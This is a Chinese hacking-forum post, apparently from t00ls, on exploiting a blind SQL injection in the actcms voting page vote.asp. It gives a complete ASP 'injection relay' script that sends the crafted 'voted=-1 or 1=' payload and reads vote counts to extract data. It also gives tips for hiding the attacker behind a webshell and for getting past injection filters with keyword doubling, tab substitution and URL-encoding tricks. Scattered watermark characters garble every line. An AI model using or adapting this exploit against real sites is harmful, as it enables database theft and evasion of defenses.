/ w) F% e- P/ U j2 ~% i看到ninty大牛的blog的一篇文章) v9 b" n6 ^- ^
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]; D: m0 l" o0 S( p
关于actcms漏洞的利用 by 3x qq:381862589" y, u3 a& @; [7 B' e. e; w: e
转载请注明以上
& W+ u$ T' X+ e t- N- l2 C漏洞文件:2 q# _7 `& o' H5 e( D- P
/plus/vote/vote.asp g' W- z* G3 @5 |
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
7 B; T/ Q9 F7 O9 {* y8 d
( F$ c. L, |, `. n* L; [2 response.write "<script>alert('请选择投票项目。');window.close()</script>" ( i. r% c; l t
, t8 W9 h* U- N: F7 N6 f( a; {3 response.end / O0 `9 s3 @7 P: X8 X, a' h4 g7 w; ~
; c) Q, I O/ X. o1 Q& v: _7 [& G
4 end if
1 X1 t% z$ v1 Y7 m
! r. Q2 Y4 X' Z5 for i=1 to request("voted").count % ^3 Y8 C3 m0 a" C
, x' {2 _; b6 \' b- ]6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
1 C; E( J- |- B8 ]
5 e# H P2 B8 t7 next
S6 o0 L- O5 h/ E3 O* m A8 P4 i- y# ?( b0 y( o& u. D
8.... : y) X" @1 q3 y; B
. C' [8 v, @" R( ]6 k' q4 E& S9response.Redirect "index.asp?id="&id&"" 5 h. p8 p& T1 l* [' W4 L
投票结束回跳转回index.asp这个投票结果页面! p" M6 L' V: h3 B3 G
如果投票成功票数加1
/ [/ C0 F. c3 { 失败票数不变1 m5 i2 I8 H6 w8 Y
如图:
4 |' v& h" b; ahttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
1 B, M" m, e: {" [$ u0 z" a& b2 e3 O# O5 F
2009-12-27 13:204 e' S0 R' \# g2 j( }) B c
/ ?& F9 \; [$ ? \# C {5 ^
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
8 Y4 J; Z j1 H# A1 n& u, M/ m1 e- @
本帖隐藏的内容需要回复才可以浏览9 b5 |7 q0 ]+ m! f, p0 ~
我们用注入中转来实现这个注入具体代码如下:
5 Y. H% u. O" {+ p3 L* U6 n先用寂寞的刺猬大牛的注入中转生成jmget.asp) j d, k; `& o2 ^# t2 k$ j
注入地址:http://localhost/actcms/plus/vote/vote.asp, }) c* @7 L( \$ X4 A
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项3 G: W7 @; x, i! {+ I5 G
y, i/ K1 s/ @/ F3 A然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
6 [; c' N; ^, R3 N) i8 d: N: P* L' @% n: \) m/ @
02JmdcwName=request("jmdcw")
+ b/ z9 w( s8 e. `7 _
1 g$ I- ?4 n9 O9 J. `03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 7 b. } i1 `8 n+ [- D
* z* j/ ~3 K1 f" l: _) ^
04JmStr="id=1&voted=-1 or 1="&JmdcwName & X" A. r# c* R2 E/ R; m
3 D, h- A7 @! T% i- N( O2 l05JmStr=URLEncoding(JmStr) : H; S$ @1 W& m0 g- H# m6 q" b" v7 l: N' a
* D) P5 z$ z: G06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 O7 c$ r! \5 b5 [. Z* W T9 o( B2 r/ I
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
8 M, n8 S" |2 V9 }. Q, O
# M# i0 v9 E# \5 p5 Q; x1 s08testurl=testurl & "?" & JmStr & q( M4 R1 J2 A7 R6 K
1 `6 u" J) U$ Y. g9 S
09JMUrl=JMUrl & "?" & JmStr # O U1 x; P3 `$ p6 @( g* ?9 x
B Y3 W- o+ ?+ M6 R7 m10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp") ]. v( w! Z |) n3 C9 F9 O, ^
: |/ j1 j9 s* i; n; E' }11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
& L" M6 r7 w7 J. {6 e1 W3 d1 y) _9 j- v
12JmCok=replace(JmCok,chr(32),"%20") * L5 ^( ]0 c, I n' L {
' p, P7 v3 o' T( s3 O. t13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 * d% ~+ x& y8 }# t" A0 R$ F
5 Y* w3 i& r- F. m4 B0 b14
5 H! } D% s. m- O
4 v+ s2 Z2 {) U5 U& l0 \0 W1 K+ O15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 5 g8 o A) u: u8 v
% c- Z) N5 O# l6 E6 E$ E16
* D8 P4 r$ z2 U$ g0 @8 d+ E8 ~. Z& }6 `) d) {$ D! _
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
( A* a" G; y+ a: a5 r. x/ X, }* r9 D
: D1 B, b( T$ i5 d! D18response.write test1&""&test2&""5 W& H7 k3 T, G* T0 j% N
! u4 e! T/ g5 z% d2 J" ]19
7 _( t9 c& Z/ K2 K3 k* n. U, p, V9 F
20if test1=test2 then '如前后记录相等,表示失败 0 H/ U* S @9 e) z# V6 T
' r' B' I5 |) r0 D, L/ B8 ~/ m
21 response.write "failed", @2 R: h) p5 T& P! F2 t* U
1 `2 ]( c8 _ f9 B( U1 `" K22else
' @6 ^" F" T# r# T: a" I+ t0 Y
8 `0 f( h& f* a3 G$ z23 response.write "succeed", X& [+ L* n% B5 G* ]5 x3 C
2 U7 x3 ]* e8 _8 ^% D3 q24end if # Z# g% q1 \( Y9 _, {' J1 c
3 t$ {5 T7 \, U/ S8 A _3 T& X: r
25 % B7 b' F+ k5 _6 |$ t
& w9 V9 T. c9 t0 o+ |
26response.write "by 3x"
9 O( I N, P9 k2 S/ d' x5 P+ |9 A. O% I; j) T! ]
27 ) W- H; J* p; a+ g4 Y% I# Z' e' [
2 W5 m( {0 E- V2 J4 V* E28
" }" v+ W b2 Z* K _9 z6 G$ z6 \$ ?- z! m
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
' I9 r8 M3 ?+ W( N- l! \, W3 i/ |$ H9 s7 m. ?
30Dim Http # z8 h8 l) G& |
: z1 O$ E, y: u t- }' m1 q
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
! _% P- O3 }' ~- D2 s' n( V# N, w$ k/ J! C, }) ?+ f/ e+ Z1 L9 K
32With Http 1 U: [" _5 t' s/ {0 G5 t
7 W8 @1 d! i! x33
6 v8 R; b7 l" ?( w0 |$ ]
a" Z# |( B! Q7 A1 U+ A34.Open "GET",PostUrl,False
, b2 L, G2 f( U8 N
- M) b5 j* J) |( [35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded". e8 v6 F# F* k7 z4 F5 G
4 n$ B3 M5 z5 [5 d) s, U
36.SetRequestHeader "Referer",PostRef
8 T# Y# F: p R# _
8 o! n8 }3 u% k8 o2 f' P0 H. d37.SetRequestHeader "Cookie",PostCok
9 T: q: |7 h: W, y& }/ T" B2 L* t4 s0 c1 j
38.Send () o! b( m, q- v
" {/ i! U% \! p0 ]. a5 u x- f2 j39PostData = .ResponseBody ( f8 |7 J! J7 A+ _9 [; T1 w
) [4 {; G) v9 P0 [# p7 D& a
40End With% _6 u4 w& s* e9 t5 S }
8 M, J" F; F( F1 ?+ V41Set Http = Nothing1 A3 Q, E. J" \# P& ?, H, F( g
% X. l* ]! g8 ?8 D) _. x42PostData =bytes2BSTR(PostData) . i* L7 S8 B) ]. P
' `' [( V6 ~4 t( w' O43End Function U; l) L* H. O
+ `5 m/ u5 {$ ?5 D3 l0 {) F' s! F44
7 x2 T- o4 _! `7 A4 M( w5 H+ F& q( f" t/ D
45 , S. \# w9 \2 A4 X @# v9 A
/ u- g/ B! ?( ?1 H- l5 _, _
46Function bytes2BSTR(vIn)
6 C2 p3 Z. R; H, O& E
8 j2 k2 r/ d) l6 V/ E7 ]; b47Dim strReturn 9 m/ Q8 i# ~) n8 z
+ k% W/ s, h$ R& x2 l% J
48Dim I, ThisCharCode, NextCharCode 2 i1 u& @* \, c U: R" @
, V3 ], p5 `" x: O; H ?- v49strReturn = ""8 c$ m2 v9 `* o9 \: X
) n* m$ {: z+ l1 b6 r50For I = 1 To LenB(vIn)
1 x: k5 ?' ^0 J! f% T; ~! j- P; w- `6 r b
51ThisCharCode = AscB(MidB(vIn, I, 1)) 0 f K; c f8 d1 x$ Z7 C1 K3 u
5 \: w% R! P; v- ]) o; i ]5 k3 h
52If ThisCharCode < &H80 Then
% v- c5 } ~6 V+ N' b. W B8 n2 e( X+ Z: A+ A) I
53strReturn = strReturn & Chr(ThisCharCode) ' ^, c; f1 s( f# P, p- I4 _
/ }9 G2 d$ X' W3 I1 {54Else
! X0 Q1 d3 P7 g
5 W2 f) n2 b; w, ]! \: K: @55NextCharCode = AscB(MidB(vIn, I + 1, 1))
% J8 z5 U5 X' R; L7 \8 G# \% \# r
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) % I! K: |5 J1 T% S& @; s
) i+ x0 e: }) V f7 ]" d Y4 l4 i
57I = I + 1 8 N3 O( {6 G/ p2 u B3 e
* l; Z1 M. [7 G- f
58End If$ T# {) i2 w7 W' A
; s$ k" c* s/ T _ c
59Next
! Z `: R! k3 T, ?+ K- ?# v2 C
, r. |/ U' y# B- J o0 @' E# z60bytes2BSTR = strReturn 1 ?1 f' B* `: }! e# h/ E' H
$ n/ H8 a8 w T/ c e61End Function; S+ U0 B& C5 j4 J! ?( F7 b( Q
. P; ` A' r7 V& K
62 ( Q) W: d. r+ T- s2 k
. F& N* u" R9 r+ t) E63Function URLEncoding(vstrin)
4 ]5 S; N& h) X. [( {% Q
. f6 t' `/ k2 w64strReturn=""# I% k/ r T. w$ [! b4 Y' H
a1 _. t; l3 h0 U9 F- H7 a65Dim i # [: ~& e1 C2 M' e$ M9 L: z
* B# k% ?3 `" k) }4 j, B: F- D/ }
66For i=1 To Len(vstrin)
7 B" i+ y6 _0 l% h$ z& O" m6 ]+ s; Y/ U& z z* Z' u/ Y F7 {% C4 D
67ThisChr=Mid(vstrin,i,1) 1 Z" I) v7 w1 ]2 Z3 \
5 E# T8 T. F% A0 ~# ~) }8 V' D; w68if Abs(Asc(ThisChr))< &HFF Then
6 [) h5 O* B" c6 d, X& F, u) U* b7 H) M/ r
69strReturn=strReturn & ThisChr / W& K% D0 Y- e% x+ n9 ?2 M
\1 t5 Q. w: {8 w
70Else
! [1 Z* y) A- p
% y. x7 q1 A+ d* m6 q71InnerCode=Asc(ThisChr)
% Y5 c3 h S1 N) P
: ~2 T8 G( Q# K6 y% E5 \72If InnerCode<0 Then
+ i. W. u& x% ^; p! A. |+ C6 s
1 y Z- O4 a6 d2 n2 t- y73InnerCode=InnerCode + &H10000
8 s4 h' |$ Z3 E% ~) Q4 [+ M) r/ a4 B( }* a4 [0 f, \( G/ Z$ ^- ~
74End If
( r" a6 [8 M8 p5 D3 r E7 @; J+ K, g( q* C+ T, ?' H8 O
75Hight1=(InnerCode And &HFF00) \&HFF
6 R! w3 }* c { c+ ]- R6 S) X3 z( t, n+ V6 Y' J% o0 U
76Low1=InnerCode And &HFF
" R& @& e0 S' ~: q" T, l( U% v' r# P* ]$ }1 N
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
$ L0 G e3 Z! o& i; w' q9 ~' m) L
4 k( R0 k! u8 r! f+ M) ~78End if 9 P" N9 Y6 ?- p/ h& p' n
, b* z/ C6 ~3 n; d6 S79Next: A8 Q. S: B: W4 j! z& J
1 j% G& I& |% d# N& e, p7 G) o
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
2 A( b+ n, E5 l! \3 S% s2 W/ f w0 \. D
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
2 ]/ p$ d7 o9 r4 t( s: O% E
9 `+ j1 X# d/ K p7 C82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
# S. Q, C0 Q4 j! ^& G' l4 W6 C# [
83URLEncoding=strReturn / B3 k5 o1 @! m; ?
" B# f+ n) a' r7 z84End Function
, u) j8 T( M( g; A1 f- P
! E0 h3 D/ r% f% o8 K5 t9 V85
& J+ c! X/ u' ^, Q7 W/ U8 Z$ I* _& |2 f8 B/ l: v; J7 J) X( d% W, [
86function getSt(body)
# B( Q# t y& s/ X- _! V- s5 Y! d
9 L# ~: \" ^4 m) o, P. ^. b @/ x87 startpot=instr(body,"投票人数:")+len("投票人数:")
7 Q; s% W% K' d$ w/ ?
) ^ o- l2 o' f8 g88 endpot=instr(startpot,body," ") 3 ?0 v. o& k8 d5 ?8 _! e T
' V) r/ l. t" ?' N- y6 s89 getSt=mid(body,startpot,endpot-startpot) , T9 h. q& k' ^2 p+ s' J
+ _* X4 p5 h. D" M9 y/ V90end function
0 ?* A$ Y; b+ J) c( j
: O; S+ Q" M6 y" `; i& m9 [& H91%>% r, u( C( w% `, z, ^, m
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
, [ t- X. s8 g/ u- e, X测试下效果:, E9 z1 b- Y) b. v* z) Z& Y
投票成功:$ j) f: P p9 y% s2 x
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
( c; X5 ~6 d: H. a9 ?( d+ _- J; ^+ ^$ M; ]
k- R# C1 i( ^2009-12-27 13:290 U7 N- W. A* b8 h0 u
投票失败5 V7 d J' p, o( C
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)3 q% d0 e3 j R6 r5 o1 ^) m7 t- S
* u3 S& C. o1 Q
2009-12-27 13:29
; m: \: l5 E- z: _-------------------------------------------------------------------------------
0 j. t* W0 m1 h2 W j7 i U再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
+ c+ F \9 @7 i& i很抱歉。。。只能用单线程工具去注入。。。。。0 o+ Y: ?6 D2 T
所以失败。。。不好意思。。。$ [) W: P& w( }# K0 m
-------------------------------------------------------------------------------4 @# N8 w& @- q$ [8 H
$ l% M' q4 K. }+ H' o* q5 R
注入中转的一些其他应用
! S& J$ z0 [5 g$ x& q其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了! r( R% M% |/ t+ q
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id& c# e$ i3 v& F9 D4 a
2.post注入转成get型的注入,方便我们使用工具来跑2 f1 z0 w* h9 M0 f b% ^
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
5 m8 {/ p# y: b" F2 G9 l4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过7 o F4 b$ I5 M: U4 B3 y
7 l, ?5 \+ ~1 T; j: I |